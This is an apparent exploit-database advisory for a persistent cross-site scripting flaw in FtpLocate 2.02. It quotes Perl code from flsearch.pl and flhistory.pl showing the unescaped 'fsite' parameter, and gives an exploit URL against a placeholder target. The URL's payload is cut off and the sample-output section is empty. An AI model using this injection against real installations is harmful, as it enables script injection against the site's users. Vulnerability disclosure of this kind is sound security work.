############################################################# # # Exploit Title: FtpLocate 2.02 Persistent XSS # Date: 2013/6/23 # Exploit Author: Chako # Firmware Version: 2.02 # Tested on: Windows 7 # Vendor Homepage: http://turtle.ee.ncku.edu.tw/ftplocate/readme.english.html # http://www.freshports.org/ftp/ftplocate/ # File Download: ftp://ftp.freebsd.org/pub/FreeBSD/ports/distfiles/ftplocate-2.02.tar.gz ############################################################# /bin/flsearch.pl (LINE: 22-34) ----------------------------------------------------------------------------- $query=clean_str($input{'query'}); $query_raw=CGI::escape($query); $fsite=clean_str($input{'fsite'}); $fsite_raw=CGI::escape($fsite); $page=$input{'page'}; $client=ip2fqdn(client_ip()); if ( $fsite eq "" ) { $resultfname=$query_raw; $CGIF=""; $STRF=""; } else { $resultfname=$query_raw."-$fsite"; $CGIF="&fsite=$fsite_raw"; # for cgi page list $STRF=" $fsite"; # for output } ----------------------------------------------------------------------------- /bin/flhistory.pl (LINE: 85-110) ----------------------------------------------------------------------------- $rmax=$#log-$logmin; $rmin=$#log-$logmax; for ($i=$rmax; $i>=$rmin; $i--) { ($date, $time, $usedtime, $client, $_, $cache, $founditem, $query)=split(/\s/,$log[$i],8); ($script,$fsite)=/(.*)\((.*)\)/; if ( $script =~ "flserv" ) { $script="flsearch"; } $url=dirname($ENV{'SCRIPT_NAME'})."/$script.pl?query=".CGI::escape($query)."&fsite=$fsite"; $q=safe_query_str($query); if ( $nowclient eq $client ) { $color="#c00000"; } else { $color="#000000"; } print qq| $date $time $usedtime $client $script($fsite) $cache $founditem $q |; } ----------------------------------------------------------------------------- Sample Output from flhistory.pl : ----------------------------------------------------------------------------- flsearch() Exploit: ----------------------------------------------------------------------------- http://Target_Example/cgi-bin/ftplocate/flsearch.pl?query=FTP&fsite=